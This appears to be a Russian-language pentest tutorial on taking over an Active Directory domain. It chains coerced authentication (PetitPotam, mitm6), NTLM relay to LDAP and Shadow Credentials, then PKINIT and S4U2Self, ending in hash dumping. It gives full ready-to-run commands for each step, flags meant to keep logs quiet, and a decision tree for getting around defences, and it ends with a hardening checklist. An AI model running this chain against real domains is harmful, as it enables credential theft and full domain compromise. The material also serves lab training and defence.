NTLM relay на LDAP в Active Directory: разбор цепочки от перехвата аутентификации до Shadow Credentials

На внутреннем пентесте финансовой компании мне хватило одной доменной учётки уровня helpdesk и 40 минут, чтобы получить Domain Admin. Цепочка: принуждённая аутентификация рабочей станции → NTLM relay на LDAP контроллера домена → запись Shadow Credentials на машинный аккаунт → аутентификация через PKINIT → DCSync. Ни одного эксплойта в классическом смысле, ни одного пароля в открытом виде — только штатные механизмы Active Directory, работающие by design.

На HTB-машинах типа Sizzle конфигурация AD оставляет этот вектор открытым, и техника отрабатывает практически один в один с реальным пентестом. По данным CrowdStrike Global Threat Report 2025, среднее время lateral movement после первого доступа — 62 минуты (рекорд — 51 секунда), а 75% вторжений в 2024 году использовали действительные учётные данные. NTLM relay — один из самых коротких путей от одной легитимной учётки к полному контролю над доменом.

Место NTLM relay в цепочке атаки на Active Directory

Прежде чем разбирать механику, разберёмся, на каком этапе kill chain мы находимся. Без этой картинки отдельные шаги выглядят оторванными от реальности.

Бизнес-логика атаки: злоумышленник (или пентестер) с единственной доменной учёткой без привилегий захватывает машинный аккаунт, получает локального администратора на хосте, извлекает из памяти или реестра хеши и сессионные ключи и двигается дальше — к следующему хосту или к DCSync (репликация хешей всех аккаунтов домена). Финальный импакт — полная компрометация домена Active Directory.

Этапы:

1. Foothold — доменная учётка (grey box: выданная заказчиком или добытая через password spraying). Самый реалистичный сценарий на внутреннем пентесте.
2. Credential Access — в терминологии MITRE ATT&CK (открытая база тактик и техник атак; T-коды вроде T1187 — её идентификаторы) это техника T1187 (Forced Authentication): принуждаем целевую машину отправить NTLM-аутентификацию на наш сервер.
3. Privilege Escalation — relay перехваченной аутентификации на LDAP контроллера домена, запись Shadow Credentials, получение TGT через PKINIT.
4. Lateral Movement / Domain Compromise — с машинным аккаунтом двигаемся дальше: DCSync (T1003.006), доступ к другим хостам через Windows Remote Management (T1021.006), извлечение секретов.

[Применимо: внутренний пентест, grey box (доменная учётка low-priv), инфраструктура Windows Server 2016+]

Как работает NTLM relay на LDAP

NTLM (New Technology LAN Manager) — протокол аутентификации Microsoft 1993 года. Kerberos давно стал основным протоколом в Active Directory, но NTLM по-прежнему живёт как fallback: при обращении по IP-адресу вместо DNS-имени, при работе с legacy-системами, при некоторых RPC-вызовах. Убить его пытаются лет десять — пока безуспешно.

Аутентификация NTLM — обмен тремя сообщениями: клиент отправляет Negotiate (какие возможности поддерживает), сервер возвращает Challenge (случайный 8-байтовый nonce), клиент вычисляет Authenticate — криптографический ответ на основе хеша пароля и nonce. Пароль по сети не передаётся, только доказательство владения им.

Суть relay-атаки (T1557.001, Name Resolution Poisoning and SMB Relay): атакующий встаёт между жертвой и целевым сервером. Жертва шлёт Negotiate — атакующий пересылает его целевому серверу. Сервер возвращает Challenge — атакующий передаёт его жертве. Жертва вычисляет ответ — атакующий пересылает серверу. Сервер считает, что перед ним жертва. Паролей знать не нужно.

Два механизма защиты, которые должны мешать relay:

Session Signing (подпись сеанса) — после аутентификации все сообщения подписываются. Для SMB подпись включена по умолчанию только на контроллерах домена. Для LDAP — не требуется по умолчанию (GPO «Domain controller: LDAP server signing requirements» стоит в «None»). Вот тут и начинается самое интересное.

Channel Binding (EPA — Extended Protection for Authentication) — привязывает аутентификацию к конкретному TLS-каналу. Для LDAPS параметр реестра LdapEnforceChannelBinding по умолчанию равен 0 (отключён). Нужно значение 2 (Required), чтобы защита реально работала.

MIC (Message Integrity Code) — дополнительная защита от подмены флагов в NTLM-сообщениях при relay. Но CVE-2019-1040 (CVSS 5.3, MEDIUM, вектор AV:N — атака по сети, AC:H — высокая сложность, UI:R — нужно действие пользователя) позволяла обойти MIC на непропатченных системах. Эту уязвимость эксплуатируют в дикой природе с декабря 2020 года, а её EPSS (оценка вероятности от 0 до 1, что уязвимость начнут эксплуатировать в ближайшие 30 дней) составляет 0.48 — топ-5% всех CVE. Аналогичная CVE-2019-1166 (CVSS 5.9, MEDIUM, CWE-354 — Insufficient Verification of Data Authenticity) — ещё один обход MIC с EPSS 0.62 (топ-1%).

Почему LDAP — самая опасная цель для NTLM relay

LDAP (Lightweight Directory Access Protocol) — протокол, через который Active Directory хранит и предоставляет данные о пользователях, группах, компьютерах. По сути, это сердце AD. Если получить authenticated LDAP-сессию от имени машинного аккаунта, можно модифицировать критические атрибуты этого аккаунта в каталоге — так называемый «LDAP write primitive».

Согласно исследованию SpecterOps, relay на LDAP — «arguably worse than ever before», потому что signing и channel binding по умолчанию не включены. И это не баг — это дефолтная конфигурация.

Свежий пример масштаба проблемы: CVE-2025-54918 (CVSS 8.8, HIGH, AV:N/AC:L/PR:L/UI:N — атака по сети, низкая сложность, нужны минимальные привилегии, без участия пользователя, CWE-287 — Improper Authentication) позволяет комбинировать coercion с модификацией NTLM-пакетов для обхода channel binding и LDAP signing. По данным CrowdStrike, атака «bypasses traditional security controls like channel binding and LDAP signing requirements». CISA оценивает техническое воздействие как «total», хотя сейчас активная эксплуатация этой конкретной CVE в дикой природе не подтверждена (SSVC decision: Track).

Принуждение к аутентификации и Shadow Credentials

Coercion: как заставить машину отправить NTLM

Для relay нужна входящая NTLM-аутентификация от целевого хоста. Основные методы принуждения:

PetitPotam — злоупотребление протоколом MS-EFSRPC (Encrypting File System Remote Protocol). Отправляешь RPC-вызов на целевой хост, и он пытается аутентифицироваться на указанном тобой адресе. Аутентификация приходит от машинного аккаунта (SYSTEM). Работает от имени любого доменного пользователя.

PrinterBug — аналогичный трюк через MS-RPRN (Print Spooler). Хост отправляет NTLM-аутентификацию по твоему адресу. По данным CrowdStrike, именно PrinterBug часто используется для coercion контроллера домена.

Критический нюанс для LDAP relay: SMB-аутентификация включает флаги подписи (signing negotiation flags). При кросс-протокольном relay SMB → LDAP сервер отбрасывает сессию из-за конфликта флагов. Решение — получить HTTP-аутентификацию вместо SMB.

Для этого на целевом хосте должен быть запущен сервис WebClient (WebDAV-клиент). На Windows 10 он установлен по умолчанию; на серверных ОС — обычно нет. Проверка: netexec smb <IP> -u user -p 'password' -M webdav. Если WebClient запущен, coercion делается через WebDAV-путь формата hostname@80/file — аутентификация придёт по HTTP с NTLM-заголовком, и relay на LDAP проходит чисто.

DNS-трюк для coercion: WebDAV-путь требует hostname, а не IP. Каждый доменный пользователь по умолчанию может добавлять DNS-записи в зону домена (да, вот так просто). Инструмент dnstool.py из набора krbrelayx позволяет зарегистрировать запись attacker.domain.local → IP_атакующего. Подробности — в исследовании Logan Goins по NTLM relay на LDAP.

Shadow Credentials: захват машины через msDS-KeyCredentialLink

Shadow Credentials — техника, эксплуатирующая механизм Windows Hello for Business. Каждый объект AD имеет атрибут msDS-KeyCredentialLink, куда можно записать публичный ключ. Владелец соответствующего приватного ключа может запросить TGT (Ticket Granting Ticket — основной билет Kerberos, с которым потом запрашиваются доступы к сервисам домена) через PKINIT (аутентификация Kerberos через сертификат/ключевую пару вместо пароля).

Цепочка: relay на LDAP → запись ключа в msDS-KeyCredentialLink → PKINIT → TGT → S4U2Self (запрос сервисного билета от имени администратора) → захват хоста.

Пошаговая атака: relay и Shadow Credentials в лабе

Требования к окружению

• Атакующая машина: Kali Linux 2024+, минимум 4 ГБ RAM (рекомендуется 8 ГБ)
• Инструменты: impacket (из GitHub, ветка main), mitm6 (pip install mitm6), PKINITtools (GitHub: dirkjanm/PKINITtools)
• Целевая среда: домен на Windows Server 2016+ (DC), минимум один хост с запущенным WebClient
• Конфигурация DC: LDAP signing не принудительный (по умолчанию), Channel Binding отключён (по умолчанию)
• Учётные данные: одна доменная учётка low-priv
• Сеть: L2-доступ к сегменту целевых хостов (для mitm6) или возможность добавить DNS-запись

Минилаб для самостоятельной отработки: две VM — Windows Server 2019 как DC (4 ГБ RAM, AD DS установлен) и Windows 10 Pro как рабочая станция (2 ГБ RAM, WebClient запущен по умолчанию). Оставь LDAP signing и channel binding в дефолтных настройках — они не включены. Атакующая Kali — третья VM (2 ГБ RAM). Итого: минимум 8 ГБ RAM на хосте, рекомендуется 16 ГБ.

Шаг 1 — Разведка: проверяем условия

Проверь LDAP signing на DC: netexec ldap <DC_IP>. В выводе ищи LDAP Signing: False или not enforced. Если signing обязателен — relay на LDAP не пройдёт, ищи другой вектор.

Проверь WebClient на хостах: netexec smb <IP> -u user -p 'password' -M webdav. Если WebClient запущен — HTTP coercion возможен.

Если нужна альтернатива WebClient, можно использовать mitm6 для IPv6 DNS poisoning — mitm6 подменяет DNS через DHCPv6 и перенаправляет трафик на тебя.

Шаг 2 — Запуск ntlmrelayx с Shadow Credentials

ntlmrelayx.py -t ldap://<DC_IP> \
  --shadow-credentials \
  --shadow-target '<TARGET$>' \
  --no-dump --no-da --no-acl

Разбор флагов: -t ldap://<DC_IP> — relay на LDAP контроллера домена; --shadow-credentials — после успешного relay записать ключ в msDS-KeyCredentialLink; --shadow-target '<TARGET$>' — имя машинного аккаунта жертвы (с $ на конце); --no-dump --no-da --no-acl — не выполнять лишних действий, чтобы не создавать лишних событий в логах. Ожидаемый вывод: Servers started, waiting for connections — ntlmrelayx слушает на портах 80, 445, 6666.

Шаг 3 — Принуждение к аутентификации

Вариант A (mitm6): в отдельном терминале запусти mitm6 -i eth0 -d domain.local. mitm6 начнёт отвечать на DHCPv6-запросы и станет DNS-сервером для жертв. Когда жертва обратится к DNS, mitm6 перенаправит трафик, и аутентификация придёт на ntlmrelayx.

Вариант B (PetitPotam + DNS): сначала добавь DNS-запись: python3 dnstool.py -u 'domain\\user' -p 'password' -a add -r attacker -d <ATTACKER_IP> <DC_IP>. Затем отправь coercion: python3 PetitPotam.py -u user -p 'password' -d domain.local attacker@80/test <TARGET_IP>.

Ожидаемый результат в терминале ntlmrelayx: строки Received connection from <TARGET_IP>, Authenticating against ldap://<DC_IP> и ключевое — Successfully modified <TARGET$>'s msDS-KeyCredentialLink. Появятся имя PFX-файла (например, F0COeLZL.pfx) и пароль к нему — сохрани оба значения.

Шаг 4 — От PFX к TGT через PKINIT и захват хоста

# TGT через PKINIT (аутентификация Kerberos ключевой парой)
python3 gettgtpkinit.py -cert-pfx F0COeLZL.pfx \
  -pfx-pass '<password>' -dc-ip <DC_IP> \
  'domain.local/<TARGET$>' target.ccache
export KRB5CCNAME=target.ccache
# S4U2Self — билет от имени администратора
python3 gets4uticket.py \
  kerberos+ccache://domain.local\\<TARGET\$>:target.ccache@<DC_IP> \
  CIFS/<TARGET>.<domain.local>@<domain.local> \
  administrator@<domain.local> admin.ccache
export KRB5CCNAME=admin.ccache
# Дамп хешей
secretsdump.py -k -no-pass <TARGET>.<domain.local>

Если всё сработало, secretsdump.py покажет хеши из SAM и LSA целевого хоста. Если целевой хост — контроллер домена, появятся хеши krbtgt и всех аккаунтов домена (DCSync).

Когда NTLM relay на LDAP не сработает

Перед запуском атаки пройди по этому decision tree:

1. LDAP signing на DC принудительный? Проверяй netexec ldap <DC>. Если да — relay невозможен, ищи другой вектор (relay на SMB, на AD CS ESC8).
2. Channel Binding включён (LdapEnforceChannelBinding=2)? Relay на LDAPS (636) невозможен. Но relay на plain LDAP (389) может пройти: ntlmrelayx поддерживает StartTLS bypass — relay идёт на порт 389, затем соединение поднимается до TLS внутри, обходя channel binding. Метод описан в документации SecureAuth.
3. MIC обязателен, патчи от CVE-2019-1040 и CVE-2019-1166 установлены? Кросс-протокольный relay с удалением signing-флагов невозможен — нужна чистая HTTP-аутентификация через WebClient.
4. WebClient не запущен ни на одном хосте? HTTP coercion невозможен. Остаётся mitm6 (IPv6 DNS poisoning) или активация WebClient через .searchConnector-ms файл на сетевой шаре с правами записи.
5. DC ниже 2016 или PKINIT не поддерживает WHfB-ключи? Shadow Credentials не сработают. Переключайся на RBCD как альтернативу.

Ограничения против конкретных защитных решений:

• CrowdStrike Falcon: детектирует модификацию msDS-KeyCredentialLink через мониторинг LDAP write events. Алерт генерируется на изменение атрибута Shadow Credentials.
• Microsoft Defender for Identity (MDI): генерирует алерт «Suspicious modification of a Key Credential Link attribute» при записи в msDS-KeyCredentialLink через relay-сессию.
• Elastic 8.x+ (Security): содержит правила детекции аномальных NTLM-сессий без предшествующего Kerberos TGT-запроса и мониторинг модификаций KeyCredentialLink.

Общее правило: если в среде стоит EDR уровня enterprise и настроен мониторинг LDAP-модификаций на DC — атака Shadow Credentials через NTLM relay будет замечена. Вопрос — в скорости реакции SOC. На практике между алертом и реакцией часто проходит от 20 минут до нескольких часов. Этого хватает.

Чеклист защиты от NTLM relay и Shadow Credentials

Чеклист для передачи сисадмину или включения в отчёт по пентесту:

1. Включить LDAP signing на всех DC. GPO: Domain controller: LDAP server signing requirements → Require signing. Проверка: netexec ldap <DC>.
2. Включить Channel Binding. Реестр DC: HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters\LdapEnforceChannelBinding = 2. Перезапуск NTDS.
3. Включить SMB signing на всех хостах. GPO: Microsoft network server: Digitally sign communications (always) → Enabled.
4. Отключить NTLM где возможно. GPO: Network security: Restrict NTLM: Incoming NTLM traffic → Deny all. Начинай с аудита (Audit all), иначе сломаешь половину legacy-интеграций в первый же день.
5. Отключить NTLMv1. Реестр: LmCompatibilityLevel = 5. NTLMv1 не поддерживает MIC — relay с подменой флагов проходит без ограничений.
6. Отключить WebClient на серверах. sc config WebClient start= disabled && sc stop WebClient.
7. Мониторить Event ID 5136 (Directory Service Changes) с фильтром по атрибуту msDS-KeyCredentialLink. Любая запись — повод для расследования.
8. Установить патчи от CVE-2019-1040 (KB4503276) и CVE-2019-1166 (KB4520005).
9. Ограничить создание DNS-записей доменными пользователями — по умолчанию любой Authenticated User может создавать записи, что используется для DNS-манипуляций при coercion.
10. Добавить машинные аккаунты критичных серверов в Protected Users или применить FGPP с запретом NTLM-аутентификации.

Три года я провожу внутренние пентесты, и NTLM relay на LDAP с Shadow Credentials отрабатывает примерно в шести проектах из десяти. Не потому что защитники не знают про этот вектор, а потому что включение LDAP signing ломает совместимость с legacy-приложениями, которые никто не рискует трогать. Я видел среды, где LDAP signing стоит в audit mode третий год подряд: «мы знаем, планируем, но пока нельзя». За эти три года один и тот же контроллер домена отдавал Domain Admin через один и тот же relay.

Проблема не техническая — Impacket, mitm6, PKINITtools бесплатны, документированы и просты. Чеклист выше — десять конкретных действий, каждое реализуемое за день. Проблема в организационной инерции: legacy-интеграции, отсутствие тестирования, страх сломать LDAP-связку со старой учётной системой. Пока организация боится сломать интеграцию, атакующий с одной helpdesk-учёткой забирает весь домен.

Мой прогноз: Microsoft сделает LDAP signing обязательным по умолчанию, как уже сделали с SMB signing на DC, — но на это уйдёт ещё пара лет. А relay работает прямо сейчас. Если ищешь джуниор-роль в ИБ — IB Basics закрывает базу по AD-атакам за два месяца, без воды.